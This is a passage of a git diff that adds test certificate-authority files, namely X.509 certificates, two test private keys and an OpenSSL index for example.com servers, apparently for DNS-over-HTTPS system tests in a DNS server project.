+                DNS:srv02.crt01.example.com, IP Address:10.53.0.2, IP Address:FD92:7065:B8E:FFFF:0:0:0:2
+    Signature Algorithm: sha256WithRSAEncryption
+         89:ba:ae:4f:f8:3e:da:48:1f:5c:8f:ff:ee:d8:42:b0:0b:9b:
+         f1:b5:e2:90:c9:76:40:09:77:a3:31:d5:73:8f:eb:7d:69:94:
+         1c:2b:10:31:da:d4:0c:29:e7:80:4e:61:53:ba:15:9d:e1:e8:
+         0c:0d:19:77:2b:a8:74:46:e3:03:ae:ab:96:ea:af:80:c3:18:
+         e0:93:8e:e9:58:0e:79:47:98:a4:06:95:6b:8f:2c:d1:f7:29:
+         b1:98:85:e8:a4:9c:45:52:ad:c8:60:20:dc:3a:6a:40:78:15:
+         d1:b4:d0:c3:c5:f3:ac:fe:ec:d3:94:ef:66:0b:d7:8c:46:f3:
+         62:30:c4:c2:78:65:de:40:4e:d8:26:84:8e:18:a7:71:f2:b7:
+         65:d8:d0:c2:c8:e6:a0:fb:ea:01:de:2f:03:8a:50:3d:f6:6c:
+         0b:ef:ce:f5:25:1f:80:54:3e:c2:6d:2c:d3:2b:bd:23:b7:3b:
+         82:6b:91:7f:ea:ff:e6:11:37:d3:f0:d4:db:9f:32:ac:12:cc:
+         ec:25:25:81:58:16:18:90:73:c3:ad:7c:09:a7:08:99:16:ce:
+         e8:6c:4b:9a:e6:09:96:11:c2:f1:cf:19:43:a6:a6:81:f2:57:
+         21:fa:b1:91:58:39:76:17:89:32:4c:4b:df:fa:59:03:b2:32:
+         b4:b3:95:89:af:f4:5e:94:b1:df:e9:bf:21:73:14:06:5d:08:
+         1e:0f:d2:84:14:44:20:91:19:72:b9:38:0b:3c:2e:4f:ea:3a:
+         9b:ef:93:61:e7:36:82:df:49:e2:d7:45:ea:87:45:1d:74:36:
+         18:f4:aa:30:d5:65:da:1f:c7:98:61:ab:64:2a:49:98:64:a1:
+         8c:33:3a:a5:97:4a:69:a6:9d:6f:00:b9:6b:81:8d:09:0f:98:
+         63:0f:85:ae:e4:21:70:a3:da:5a:27:eb:df:6d:82:ac:bb:48:
+         6b:01:4e:36:95:5a:d3:f0:b9:30:43:72:87:af:41:7a:30:13:
+         f2:92:15:f1:69:e7
+-----BEGIN CERTIFICATE-----
+MIIDMzCCAZugAwIBAgIIa7MYPN71IAMwDQYJKoZIhvcNAQELBQAwfTELMAkGA1UE
+BhMCVUExGDAWBgNVBAgMD0toYXJraXYgT2JsYXN0JzEQMA4GA1UEBwwHS2hhcmtp
+djEkMCIGA1UECgwbSW50ZXJuZXQgU3lzdGVtcyBDb25zb3J0aXVtMRwwGgYDVQQD
+DBNjYS50ZXN0LmV4YW1wbGUuY29tMCAXDTIyMDIwODE3NTc1OVoYDzIwNTIwMjAx
+MTc1NzU5WjAiMSAwHgYDVQQDDBdzcnYwMi5jcnQwMS5leGFtcGxlLmNvbTB2MBAG
+ByqGSM49AgEGBSuBBAAiA2IABEPU+8y4iGCVFqoq0DGWyz6oXOR2rMG/zTtlhbss
+y/rDSDyDyAju3FkVlyK4QheMdQn5Prac8sXbXbaKakNICqLdE8I25HOzZFR5u/jU
+fkj0Bb4Md2MB/k8wsKpivPLt+aM+MDwwOgYDVR0RBDMwMYIXc3J2MDIuY3J0MDEu
+ZXhhbXBsZS5jb22HBAo1AAKHEP2ScGULjv//AAAAAAAAAAIwDQYJKoZIhvcNAQEL
+BQADggGBAIm6rk/4PtpIH1yP/+7YQrALm/G14pDJdkAJd6Mx1XOP631plBwrEDHa
+1Awp54BOYVO6FZ3h6AwNGXcrqHRG4wOuq5bqr4DDGOCTjulYDnlHmKQGlWuPLNH3
+KbGYheiknEVSrchgINw6akB4FdG00MPF86z+7NOU72YL14xG82IwxMJ4Zd5ATtgm
+hI4Yp3Hyt2XY0MLI5qD76gHeLwOKUD32bAvvzvUlH4BUPsJtLNMrvSO3O4JrkX/q
+/+YRN9Pw1NufMqwSzOwlJYFYFhiQc8OtfAmnCJkWzuhsS5rmCZYRwvHPGUOmpoHy
+VyH6sZFYOXYXiTJMS9/6WQOyMrSzlYmv9F6Usd/pvyFzFAZdCB4P0oQURCCRGXK5
+OAs8Lk/qOpvvk2HnNoLfSeLXReqHRR10Nhj0qjDVZdofx5hhq2QqSZhkoYwzOqWX
+SmmmnW8AuWuBjQkPmGMPha7kIXCj2lon699tgqy7SGsBTjaVWtPwuTBDcoevQXow
+E/KSFfFp5w==
+-----END CERTIFICATE-----
diff --git a/bin/tests/system/doth/CA/certs/srv03.crt01.example.com.key b/bin/tests/system/doth/CA/certs/srv03.crt01.example.com.key
new file mode 100644
index 0000000000..72f8a40122
--- /dev/null
+++ b/bin/tests/system/doth/CA/certs/srv03.crt01.example.com.key
@@ -0,0 +1,6 @@
+-----BEGIN PRIVATE KEY-----
+MIG2AgEAMBAGByqGSM49AgEGBSuBBAAiBIGeMIGbAgEBBDBMJxQaJB76ywjBuhZI
+LUz05LQuwmDBAFeZFqe10HG+r0cZvVw4Cr5M7jr2RVLqKRChZANiAARF27kbN2W/
+saGKWjkAjUoVO0OauC//qH2Zg6ic3LbCqp/4UaEOLpcPkBMiTIvx/zxr65EpfUzf
+fAXdrepKTK0K1m+OUbCIWEKILBbURx24j7NODRLfTBT2JyA/lJojgUg=
+-----END PRIVATE KEY-----
diff --git a/bin/tests/system/doth/CA/certs/srv03.crt01.example.com.pem b/bin/tests/system/doth/CA/certs/srv03.crt01.example.com.pem
new file mode 100644
index 0000000000..39b48eeb40
--- /dev/null
+++ b/bin/tests/system/doth/CA/certs/srv03.crt01.example.com.pem
@@ -0,0 +1,69 @@
+Certificate:
+    Data:
+        Version: 3 (0x2)
+        Serial Number: 7760573232607207428 (0x6bb3183cdef52004)
+        Signature Algorithm: sha256WithRSAEncryption
+        Issuer: C=UA, ST=Kharkiv Oblast', L=Kharkiv, O=Internet Systems Consortium, CN=ca.test.example.com
+        Validity
+            Not Before: Feb  8 17:58:15 2022 GMT
+            Not After : Feb  1 17:58:15 2052 GMT
+        Subject: CN=srv03.crt01.example.com
+        Subject Public Key Info:
+            Public Key Algorithm: id-ecPublicKey
+                Public-Key: (384 bit)
+                pub:
+                    04:45:db:b9:1b:37:65:bf:b1:a1:8a:5a:39:00:8d:
+                    4a:15:3b:43:9a:b8:2f:ff:a8:7d:99:83:a8:9c:dc:
+                    b6:c2:aa:9f:f8:51:a1:0e:2e:97:0f:90:13:22:4c:
+                    8b:f1:ff:3c:6b:eb:91:29:7d:4c:df:7c:05:dd:ad:
+                    ea:4a:4c:ad:0a:d6:6f:8e:51:b0:88:58:42:88:2c:
+                    16:d4:47:1d:b8:8f:b3:4e:0d:12:df:4c:14:f6:27:
+                    20:3f:94:9a:23:81:48
+                ASN1 OID: secp384r1
+                NIST CURVE: P-384
+        X509v3 extensions:
+            X509v3 Subject Alternative Name:
+                DNS:srv03.crt01.example.com, IP Address:10.53.0.3, IP Address:FD92:7065:B8E:FFFF:0:0:0:3
+    Signature Algorithm: sha256WithRSAEncryption
+         8f:96:88:82:94:76:8e:97:b6:75:8b:e9:2b:4f:f3:8f:14:5c:
+         50:00:ca:67:96:9e:2e:bd:53:25:25:40:6d:c5:56:e6:1a:f6:
+         cb:fb:58:fc:b3:56:9d:fc:0b:e2:8e:99:7e:e8:e6:ad:b6:e7:
+         e6:3e:8a:59:ef:3e:76:a4:ed:7b:58:fd:a3:4b:aa:4e:11:e1:
+         57:bf:b1:23:a5:a1:00:f8:95:07:c8:7d:ee:ac:a7:c8:24:ee:
+         cf:e8:c5:a4:9f:96:27:c9:47:c1:7d:11:de:66:d0:6d:d1:8d:
+         e7:8f:a0:0f:46:d9:2e:70:f3:9f:ac:6a:b0:3f:5a:dc:70:d4:
+         b9:a5:f3:ff:5c:21:50:5d:c2:a2:46:26:25:2a:2f:8a:aa:7a:
+         fd:76:31:5f:e0:25:a3:ee:df:36:f0:ab:05:a1:5d:0d:3c:6b:
+         2c:1d:d5:c5:73:9c:a0:57:1f:c4:26:e6:dc:a1:7c:25:08:21:
+         61:28:e2:b3:f5:51:83:20:73:14:19:8f:47:79:69:bc:2b:22:
+         f2:17:62:1d:83:f7:4f:a9:c4:51:68:e0:a9:d7:9f:17:6a:d2:
+         fd:f7:04:ce:a4:f5:8e:eb:31:b4:bf:c6:2d:da:0c:70:6e:0c:
+         a5:75:21:54:3c:f6:3d:36:b8:8a:d8:b6:7b:77:7e:54:1d:9f:
+         91:8f:02:a6:d1:2c:a7:30:d1:cc:e6:d9:6b:76:80:15:4b:ba:
+         fd:55:20:cc:b2:99:85:57:60:11:97:c5:e7:28:50:a6:17:af:
+         d2:bd:1b:7e:06:48:7f:63:dc:70:f8:3f:22:9f:41:a1:66:f5:
+         a7:81:99:cb:07:0e:8a:9a:bb:12:f6:c0:fe:59:0c:00:37:15:
+         b2:9d:f0:f9:93:d1:1a:b6:f8:0a:6b:bd:9e:92:32:45:f5:a2:
+         44:f0:45:8d:1a:d0:10:b2:db:98:c4:c7:5e:c1:e8:f3:94:33:
+         6c:06:f5:1a:cc:51:23:72:ae:37:2f:57:d4:f8:ac:1f:25:b4:
+         d3:bf:99:9b:ac:fc
+-----BEGIN CERTIFICATE-----
+MIIDMzCCAZugAwIBAgIIa7MYPN71IAQwDQYJKoZIhvcNAQELBQAwfTELMAkGA1UE
+BhMCVUExGDAWBgNVBAgMD0toYXJraXYgT2JsYXN0JzEQMA4GA1UEBwwHS2hhcmtp
+djEkMCIGA1UECgwbSW50ZXJuZXQgU3lzdGVtcyBDb25zb3J0aXVtMRwwGgYDVQQD
+DBNjYS50ZXN0LmV4YW1wbGUuY29tMCAXDTIyMDIwODE3NTgxNVoYDzIwNTIwMjAx
+MTc1ODE1WjAiMSAwHgYDVQQDDBdzcnYwMy5jcnQwMS5leGFtcGxlLmNvbTB2MBAG
+ByqGSM49AgEGBSuBBAAiA2IABEXbuRs3Zb+xoYpaOQCNShU7Q5q4L/+ofZmDqJzc
+tsKqn/hRoQ4ulw+QEyJMi/H/PGvrkSl9TN98Bd2t6kpMrQrWb45RsIhYQogsFtRH
+HbiPs04NEt9MFPYnID+UmiOBSKM+MDwwOgYDVR0RBDMwMYIXc3J2MDMuY3J0MDEu
+ZXhhbXBsZS5jb22HBAo1AAOHEP2ScGULjv//AAAAAAAAAAMwDQYJKoZIhvcNAQEL
+BQADggGBAI+WiIKUdo6XtnWL6StP848UXFAAymeWni69UyUlQG3FVuYa9sv7WPyz
+Vp38C+KOmX7o5q225+Y+ilnvPnak7XtY/aNLqk4R4Ve/sSOloQD4lQfIfe6sp8gk
+7s/oxaSflifJR8F9Ed5m0G3RjeePoA9G2S5w85+sarA/Wtxw1Lml8/9cIVBdwqJG
+JiUqL4qqev12MV/gJaPu3zbwqwWhXQ08aywd1cVznKBXH8Qm5tyhfCUIIWEo4rP1
+UYMgcxQZj0d5abwrIvIXYh2D90+pxFFo4KnXnxdq0v33BM6k9Y7rMbS/xi3aDHBu
+DKV1IVQ89j02uIrYtnt3flQdn5GPAqbRLKcw0czm2Wt2gBVLuv1VIMyymYVXYBGX
+xecoUKYXr9K9G34GSH9j3HD4PyKfQaFm9aeBmcsHDoqauxL2wP5ZDAA3FbKd8PmT
+0Rq2+AprvZ6SMkX1okTwRY0a0BCy25jEx17B6POUM2wG9RrMUSNyrjcvV9T4rB8l
+tNO/mZus/A==
+-----END CERTIFICATE-----
diff --git a/bin/tests/system/doth/CA/certs/srv04.crt01.example.com.key b/bin/tests/system/doth/CA/certs/srv04.crt01.example.com.key
new file mode 100644
index 0000000000..5356fc14cc
--- /dev/null
+++ b/bin/tests/system/doth/CA/certs/srv04.crt01.example.com.key
@@ -0,0 +1,6 @@
+-----BEGIN PRIVATE KEY-----
+MIG2AgEAMBAGByqGSM49AgEGBSuBBAAiBIGeMIGbAgEBBDDq5a0oiMxJiOdwaSmk
+U2NPPJXOWPZVWpIGxB0kczGcCS6Xq0VinNqLe5YI9M1YwXehZANiAASeQ9fMKeGO
+SzWhj7ePMA9Ws1t/wGKbIyFwsSvnc/nqOAFmS1JDMc8QaRW/awjzaQc/mbu4cNA7
+iSId8iVCWj5VkcP8tL7HLYZRFMSr/nxUNGfHXtuGhMxm61SvnX3czhg=
+-----END PRIVATE KEY-----
diff --git a/bin/tests/system/doth/CA/certs/srv04.crt01.example.com.pem b/bin/tests/system/doth/CA/certs/srv04.crt01.example.com.pem
new file mode 100644
index 0000000000..b4e2d22a88
--- /dev/null
+++ b/bin/tests/system/doth/CA/certs/srv04.crt01.example.com.pem
@@ -0,0 +1,69 @@
+Certificate:
+    Data:
+        Version: 3 (0x2)
+        Serial Number: 7760573232607207429 (0x6bb3183cdef52005)
+        Signature Algorithm: sha256WithRSAEncryption
+        Issuer: C=UA, ST=Kharkiv Oblast', L=Kharkiv, O=Internet Systems Consortium, CN=ca.test.example.com
+        Validity
+            Not Before: Feb  8 17:59:14 2022 GMT
+            Not After : Feb  1 17:59:14 2052 GMT
+        Subject: CN=srv04.crt01.example.com
+        Subject Public Key Info:
+            Public Key Algorithm: id-ecPublicKey
+                Public-Key: (384 bit)
+                pub:
+                    04:9e:43:d7:cc:29:e1:8e:4b:35:a1:8f:b7:8f:30:
+                    0f:56:b3:5b:7f:c0:62:9b:23:21:70:b1:2b:e7:73:
+                    f9:ea:38:01:66:4b:52:43:31:cf:10:69:15:bf:6b:
+                    08:f3:69:07:3f:99:bb:b8:70:d0:3b:89:22:1d:f2:
+                    25:42:5a:3e:55:91:c3:fc:b4:be:c7:2d:86:51:14:
+                    c4:ab:fe:7c:54:34:67:c7:5e:db:86:84:cc:66:eb:
+                    54:af:9d:7d:dc:ce:18
+                ASN1 OID: secp384r1
+                NIST CURVE: P-384
+        X509v3 extensions:
+            X509v3 Subject Alternative Name:
+                DNS:srv04.crt01.example.com, IP Address:10.53.0.4, IP Address:FD92:7065:B8E:FFFF:0:0:0:4
+    Signature Algorithm: sha256WithRSAEncryption
+         48:b5:38:59:79:e6:51:a6:ea:80:d7:d1:3c:29:03:70:31:e4:
+         43:b4:e3:09:e7:e1:37:8c:d0:0f:2a:19:7a:f2:5a:6d:76:cd:
+         17:7a:66:1c:3e:74:56:24:b8:29:06:55:b2:1c:af:9a:42:05:
+         93:a4:70:cb:a5:68:85:ab:71:53:da:d9:29:a3:f4:2a:1e:df:
+         0c:ec:7d:52:55:fa:9b:e6:a0:18:d5:4c:da:e6:d2:60:da:bc:
+         09:5b:13:53:6d:c7:d2:30:b9:a8:a5:02:7f:a3:66:28:34:93:
+         de:55:a0:de:b5:c8:dc:43:7b:b9:03:06:1f:ce:8c:5f:82:d8:
+         af:40:56:ce:f8:b9:d4:73:1c:ae:c9:cb:1d:0f:a2:52:71:9b:
+         8b:05:f4:d6:0b:1e:a8:db:0f:29:a0:43:b5:2f:56:09:d8:68:
+         58:9c:e5:6a:df:38:91:56:9d:44:e5:d2:ca:9a:b1:41:a1:01:
+         0c:68:a0:f5:0a:f7:98:4f:d5:a0:6f:99:59:a0:e0:cb:49:57:
+         26:20:09:5a:fa:c2:75:40:f6:1b:6a:ac:55:47:50:8d:38:81:
+         61:79:44:e7:d5:d1:b3:c7:3b:db:ec:44:59:ef:e1:82:31:a3:
+         38:4c:de:40:11:31:52:8b:bb:1c:af:be:ce:c5:2b:f5:0d:c0:
+         60:13:fb:7e:da:22:41:d4:85:5e:4d:ba:db:f8:f7:26:61:32:
+         26:fe:fe:9e:37:a3:cc:25:3b:3c:c8:b5:a7:a5:5c:d9:4d:8f:
+         a8:f2:86:98:79:b3:00:08:0f:f2:c9:1f:c6:3f:07:ad:e4:a7:
+         8d:86:3d:15:fa:5b:1a:0f:96:67:b6:0a:78:0a:bb:6e:05:a6:
+         54:29:48:b4:f9:48:0d:7f:f0:13:65:32:2f:c5:ee:ab:b8:e8:
+         0d:b2:f9:c9:96:d2:cf:51:a2:64:3c:58:0f:65:6f:c6:99:93:
+         76:2c:42:08:d9:f3:f3:13:cd:41:b6:67:8f:1d:9a:2f:da:93:
+         3d:26:4c:9a:11:c1
+-----BEGIN CERTIFICATE-----
+MIIDMzCCAZugAwIBAgIIa7MYPN71IAUwDQYJKoZIhvcNAQELBQAwfTELMAkGA1UE
+BhMCVUExGDAWBgNVBAgMD0toYXJraXYgT2JsYXN0JzEQMA4GA1UEBwwHS2hhcmtp
+djEkMCIGA1UECgwbSW50ZXJuZXQgU3lzdGVtcyBDb25zb3J0aXVtMRwwGgYDVQQD
+DBNjYS50ZXN0LmV4YW1wbGUuY29tMCAXDTIyMDIwODE3NTkxNFoYDzIwNTIwMjAx
+MTc1OTE0WjAiMSAwHgYDVQQDDBdzcnYwNC5jcnQwMS5leGFtcGxlLmNvbTB2MBAG
+ByqGSM49AgEGBSuBBAAiA2IABJ5D18wp4Y5LNaGPt48wD1azW3/AYpsjIXCxK+dz
++eo4AWZLUkMxzxBpFb9rCPNpBz+Zu7hw0DuJIh3yJUJaPlWRw/y0vscthlEUxKv+
+fFQ0Z8de24aEzGbrVK+dfdzOGKM+MDwwOgYDVR0RBDMwMYIXc3J2MDQuY3J0MDEu
+ZXhhbXBsZS5jb22HBAo1AASHEP2ScGULjv//AAAAAAAAAAQwDQYJKoZIhvcNAQEL
+BQADggGBAEi1OFl55lGm6oDX0TwpA3Ax5EO04wnn4TeM0A8qGXryWm12zRd6Zhw+
+dFYkuCkGVbIcr5pCBZOkcMulaIWrcVPa2Smj9Coe3wzsfVJV+pvmoBjVTNrm0mDa
+vAlbE1Ntx9IwuailAn+jZig0k95VoN61yNxDe7kDBh/OjF+C2K9AVs74udRzHK7J
+yx0PolJxm4sF9NYLHqjbDymgQ7UvVgnYaFic5WrfOJFWnUTl0sqasUGhAQxooPUK
+95hP1aBvmVmg4MtJVyYgCVr6wnVA9htqrFVHUI04gWF5ROfV0bPHO9vsRFnv4YIx
+ozhM3kARMVKLuxyvvs7FK/UNwGAT+37aIkHUhV5Nutv49yZhMib+/p43o8wlOzzI
+taelXNlNj6jyhph5swAID/LJH8Y/B63kp42GPRX6WxoPlme2CngKu24FplQpSLT5
+SA1/8BNlMi/F7qu46A2y+cmW0s9RomQ8WA9lb8aZk3YsQgjZ8/MTzUG2Z48dmi/a
+kz0mTJoRwQ==
+-----END CERTIFICATE-----
diff --git a/bin/tests/system/doth/CA/index.txt b/bin/tests/system/doth/CA/index.txt
new file mode 100644
index 0000000000..230127d72b
--- /dev/null
+++ b/bin/tests/system/doth/CA/index.txt
@@ -0,0 +1,9 @@
+V	20520201171852Z		6BB3183CDEF52001	unknown	/CN=srv01.crt01.example.com
+V	20520201172143Z		6BB3183CDEF52002	unknown	/CN=srv01.crt02-no-san.example.com
+V	20520201175759Z		6BB3183CDEF52003	unknown	/CN=srv02.crt01.example.com
+V	20520201175815Z		6BB3183CDEF52004	unknown	/CN=srv03.crt01.example.com
+V	20520201175914Z		6BB3183CDEF52005	unknown	/CN=srv04.crt01.example.com
+V	120815090000Z		6BB3183CDEF52006	unknown	/CN=srv01.crt03-expired.example.com
+V	20520203174420Z		6BB3183CDEF52007	unknown	/CN=srv01.client01.example.com
+V	20520204132112Z		6BB3183CDEF52008	unknown	/CN=srv01.client02-ns2.example.com
+V	120814060000Z		6BB3183CDEF52009	unknown	/CN=srv01.client03-ns2-expired.example.com
diff --git a/bin/tests/system/doth/CA/index.txt.attr b/bin/tests/system/doth/CA/index.txt.attr
new file mode 100644
index 0000000000..8f7e63a347
--- /dev/null
+++ b/bin/tests/system/doth/CA/index.txt.attr
@@ -0,0 +1 @@
+unique_subject = yes
diff --git a/bin/tests/system/doth/CA/newcerts/6BB3183CDEF52001.pem b/bin/tests/system/doth/CA/newcerts/6BB3183CDEF52001.pem
new file mode 100644
index 0000000000..8671dd3a77
--- /dev/null
+++ b/bin/tests/system/doth/CA/newcerts/6BB3183CDEF52001.pem
@@ -0,0 +1,69 @@
+Certificate:
+    Data:
+        Version: 3 (0x2)
+        Serial Number: 7760573232607207425 (0x6bb3183cdef52001)
+        Signature Algorithm: sha256WithRSAEncryption
+        Issuer: C=UA, ST=Kharkiv Oblast', L=Kharkiv, O=Internet Systems Consortium, CN=ca.test.example.com
+        Validity
+            Not Before: Feb  8 17:18:52 2022 GMT
+            Not After : Feb  1 17:18:52 2052 GMT
+        Subject: CN=srv01.crt01.example.com
+        Subject Public Key Info:
+            Public Key Algorithm: id-ecPublicKey
+                Public-Key: (384 bit)
+                pub:
+                    04:12:a1:7b:0f:79:f2:29:f5:8f:6a:06:d0:28:83:
+                    14:43:8f:19:4c:29:91:36:30:0f:06:a6:56:e7:57:
+                    9b:58:2c:9e:fc:9c:a3:4e:f6:e3:6f:90:40:d5:09:
+                    fd:94:96:8e:14:68:74:6f:e8:a7:a7:ab:8c:35:96:
+                    f2:d6:8f:5d:97:5d:d1:b9:22:5b:ef:31:15:a1:e1:
+                    eb:6d:6f:af:b1:2f:80:e5:a5:a9:38:f2:6f:f9:65:
+                    14:70:a7:a5:ac:e1:1a
+                ASN1 OID: secp384r1
+                NIST CURVE: P-384
+        X509v3 extensions:
+            X509v3 Subject Alternative Name:
+                DNS:srv01.crt01.example.com, IP Address:10.53.0.1, IP Address:FD92:7065:B8E:FFFF:0:0:0:1
+    Signature Algorithm: sha256WithRSAEncryption
+         79:0f:08:ab:18:cc:f9:7a:bd:47:21:99:a1:a3:76:04:7f:d7:
+         08:33:91:49:3d:2d:fc:8d:ff:c5:c1:8d:b8:70:05:65:32:cd:
+         e2:26:21:49:19:66:a2:94:4f:42:7d:83:3c:4f:ed:c1:87:89:
+         5b:73:2c:64:64:67:29:f5:73:83:23:72:b7:a8:2e:d6:9a:de:
+         13:0c:ba:35:d3:38:b1:c4:51:7d:81:fc:25:ca:a6:d9:d2:fa:
+         bb:6d:1f:a4:61:90:50:2d:8a:ed:70:1a:eb:56:2f:fc:7b:f3:
+         76:df:68:8d:e8:a4:7d:82:b9:5c:c6:cb:d8:06:f7:78:dc:a7:
+         94:35:d4:83:98:28:51:36:1c:73:47:e4:5b:32:d2:cd:de:1c:
+         44:f6:de:37:8a:46:d0:14:8d:71:e5:10:22:b1:f9:73:f7:1b:
+         4f:82:e1:a1:00:73:18:17:71:a2:bf:a2:0c:59:aa:43:58:46:
+         82:f8:38:c4:5a:5a:9f:13:d7:a9:54:1f:58:9b:5d:52:16:d3:
+         a0:ba:6b:aa:cf:68:3a:d1:12:9c:94:ac:78:6b:7e:bc:69:6c:
+         75:07:5d:fb:68:cd:e8:8d:bb:8c:b0:7c:6c:9e:f6:a5:7c:32:
+         74:ef:c5:b1:1f:1d:ec:7b:2f:79:c0:3b:52:60:9b:48:89:09:
+         b4:46:34:69:d3:7b:1b:15:ef:0c:dd:64:1d:58:fe:a7:0b:b1:
+         9d:28:1f:1e:9e:3c:c0:b1:a6:38:ab:9d:54:24:0e:75:6c:9e:
+         90:13:b9:39:dc:43:fe:37:e3:14:0f:78:7e:2b:56:a2:d2:60:
+         51:57:88:3b:4c:cf:24:67:36:77:21:bb:c8:07:eb:48:f7:b0:
+         1e:e4:99:61:84:15:bb:61:3a:21:55:df:31:43:67:73:8f:6b:
+         e9:04:83:be:2d:8b:94:39:89:cf:40:d5:04:f7:6b:c9:c6:8c:
+         6e:36:0f:5d:7a:9b:57:86:36:76:2c:75:35:47:50:ed:9a:84:
+         7e:37:83:b5:21:a2
+-----BEGIN CERTIFICATE-----
+MIIDMzCCAZugAwIBAgIIa7MYPN71IAEwDQYJKoZIhvcNAQELBQAwfTELMAkGA1UE
+BhMCVUExGDAWBgNVBAgMD0toYXJraXYgT2JsYXN0JzEQMA4GA1UEBwwHS2hhcmtp
+djEkMCIGA1UECgwbSW50ZXJuZXQgU3lzdGVtcyBDb25zb3J0aXVtMRwwGgYDVQQD
+DBNjYS50ZXN0LmV4YW1wbGUuY29tMCAXDTIyMDIwODE3MTg1MloYDzIwNTIwMjAx
+MTcxODUyWjAiMSAwHgYDVQQDDBdzcnYwMS5jcnQwMS5leGFtcGxlLmNvbTB2MBAG
+ByqGSM49AgEGBSuBBAAiA2IABBKhew958in1j2oG0CiDFEOPGUwpkTYwDwamVudX
+m1gsnvyco07242+QQNUJ/ZSWjhRodG/op6erjDWW8taPXZdd0bkiW+8xFaHh621v
+r7EvgOWlqTjyb/llFHCnpazhGqM+MDwwOgYDVR0RBDMwMYIXc3J2MDEuY3J0MDEu
+ZXhhbXBsZS5jb22HBAo1AAGHEP2ScGULjv//AAAAAAAAAAEwDQYJKoZIhvcNAQEL
+BQADggGBAHkPCKsYzPl6vUchmaGjdgR/1wgzkUk9LfyN/8XBjbhwBWUyzeImIUkZ
+ZqKUT0J9gzxP7cGHiVtzLGRkZyn1c4MjcreoLtaa3hMMujXTOLHEUX2B/CXKptnS
++rttH6RhkFAtiu1wGutWL/x783bfaI3opH2CuVzGy9gG93jcp5Q11IOYKFE2HHNH
+5Fsy0s3eHET23jeKRtAUjXHlECKx+XP3G0+C4aEAcxgXcaK/ogxZqkNYRoL4OMRa
+Wp8T16lUH1ibXVIW06C6a6rPaDrREpyUrHhrfrxpbHUHXftozeiNu4ywfGye9qV8
+MnTvxbEfHex7L3nAO1Jgm0iJCbRGNGnTexsV7wzdZB1Y/qcLsZ0oHx6ePMCxpjir
+nVQkDnVsnpATuTncQ/434xQPeH4rVqLSYFFXiDtMzyRnNnchu8gH60j3sB7kmWGE
+FbthOiFV3zFDZ3OPa+kEg74ti5Q5ic9A1QT3a8nGjG42D116m1eGNnYsdTVHUO2a
+hH43g7Uhog==
+-----END CERTIFICATE-----
diff --git a/bin/tests/system/doth/CA/newcerts/6BB3183CDEF52002.pem b/bin/tests/system/doth/CA/newcerts/6BB3183CDEF52002.pem
new file mode 100644
index 0000000000..65f0f9ff18
--- /dev/null
+++ b/bin/tests/system/doth/CA/newcerts/6BB3183CDEF52002.pem
@@ -0,0 +1,64 @@
+Certificate:
+    Data:
+        Version: 1 (0x0)
+        Serial Number: 7760573232607207426 (0x6bb3183cdef52002)
+        Signature Algorithm: sha256WithRSAEncryption
+        Issuer: C=UA, ST=Kharkiv Oblast', L=Kharkiv, O=Internet Systems Consortium, CN=ca.test.example.com
+        Validity
+            Not Before: Feb  8 17:21:43 2022 GMT
+            Not After : Feb  1 17:21:43 2052 GMT
+        Subject: CN=srv01.crt02-no-san.example.com
+        Subject Public Key Info:
+            Public Key Algorithm: id-ecPublicKey
+                Public-Key: (384 bit)
+                pub:
+                    04:a3:2d:33:fd:92:90:dc:03:ef:36:f9:a4:a8:90:
+                    f1:47:69:be:e8:8e:65:08:da:e5:b3:82:63:1c:af:
+                    9a:37:b4:75:7c:ce:46:fb:19:17:bc:90:72:4f:74:
+                    b6:45:39:f7:96:b3:44:85:1c:ad:6a:db:a4:76:86:
+                    ee:8e:27:3d:f7:61:78:df:e1:04:8a:eb:91:8b:01:
+                    67:b6:69:32:54:50:1c:56:86:da:2f:ef:e4:3d:94:
+                    ba:f7:5b:02:14:b5:13
+                ASN1 OID: secp384r1
+                NIST CURVE: P-384
+    Signature Algorithm: sha256WithRSAEncryption
+         07:20:2a:a6:7a:52:52:ba:1e:b7:79:cf:e6:11:9c:ca:3f:43:
+         2b:f3:d7:2e:74:74:57:81:a1:aa:e6:68:c9:fd:d1:a8:a6:5b:
+         a2:ff:ea:f7:f0:b7:46:dc:a0:5a:64:5f:ce:e7:0f:76:63:14:
+         6d:c2:51:4b:30:ea:51:7e:4a:1b:d3:b2:f8:c2:3d:3f:c1:bf:
+         ad:db:4d:f8:28:31:e7:75:ae:84:37:90:00:e5:0b:6b:dc:23:
+         98:69:d5:ef:ce:e2:0d:e7:19:f1:31:01:1f:2a:6c:23:a3:94:
+         62:7a:bf:b3:b0:13:d0:62:fc:a5:a6:0d:52:bb:f4:31:ff:f3:
+         ce:3a:74:66:30:7f:29:04:8d:34:90:7a:9b:8f:da:82:2e:5c:
+         81:dd:af:fa:3a:a1:4e:bb:0a:4c:62:01:40:39:67:9c:29:27:
+         6e:2f:76:81:2d:33:68:ee:ee:ed:00:7f:12:7a:af:43:00:7b:
+         2d:34:8a:26:9a:66:1c:e5:96:17:7c:f8:6d:1e:8c:17:39:ce:
+         4f:0b:9e:40:72:e1:5e:33:3f:9e:84:b5:07:f5:ab:58:d7:37:
+         ed:d0:29:ad:ce:02:0d:fa:6f:96:a9:0e:6c:6e:32:d2:dc:11:
+         23:a3:4a:60:54:b4:98:31:db:8f:4b:4c:58:64:39:4f:ff:27:
+         d0:02:e5:cc:b2:17:e8:46:dc:aa:cb:dc:3d:ed:14:52:ec:6d:
+         a6:cd:04:2f:fd:54:16:6c:7e:63:34:17:f1:1d:b8:37:dd:20:
+         6c:f6:21:19:6f:bb:62:dd:bc:6c:41:34:ad:b1:90:eb:2a:e0:
+         63:ea:70:60:6a:02:e8:fe:46:51:b1:9d:3c:54:54:73:25:b7:
+         41:d1:4c:34:aa:88:48:b8:01:21:ae:d8:d3:06:38:05:65:78:
+         e7:38:f0:f6:e6:2e:61:c0:42:5e:3b:09:59:eb:09:48:4d:55:
+         7c:af:f4:de:c1:09:a0:b4:60:f7:9e:a2:d5:46:fc:05:61:69:
+         e0:c1:2d:26:dc:42
+-----BEGIN CERTIFICATE-----
+MIIC9TCCAV0CCGuzGDze9SACMA0GCSqGSIb3DQEBCwUAMH0xCzAJBgNVBAYTAlVB
+MRgwFgYDVQQIDA9LaGFya2l2IE9ibGFzdCcxEDAOBgNVBAcMB0toYXJraXYxJDAi
+BgNVBAoMG0ludGVybmV0IFN5c3RlbXMgQ29uc29ydGl1bTEcMBoGA1UEAwwTY2Eu
+dGVzdC5leGFtcGxlLmNvbTAgFw0yMjAyMDgxNzIxNDNaGA8yMDUyMDIwMTE3MjE0
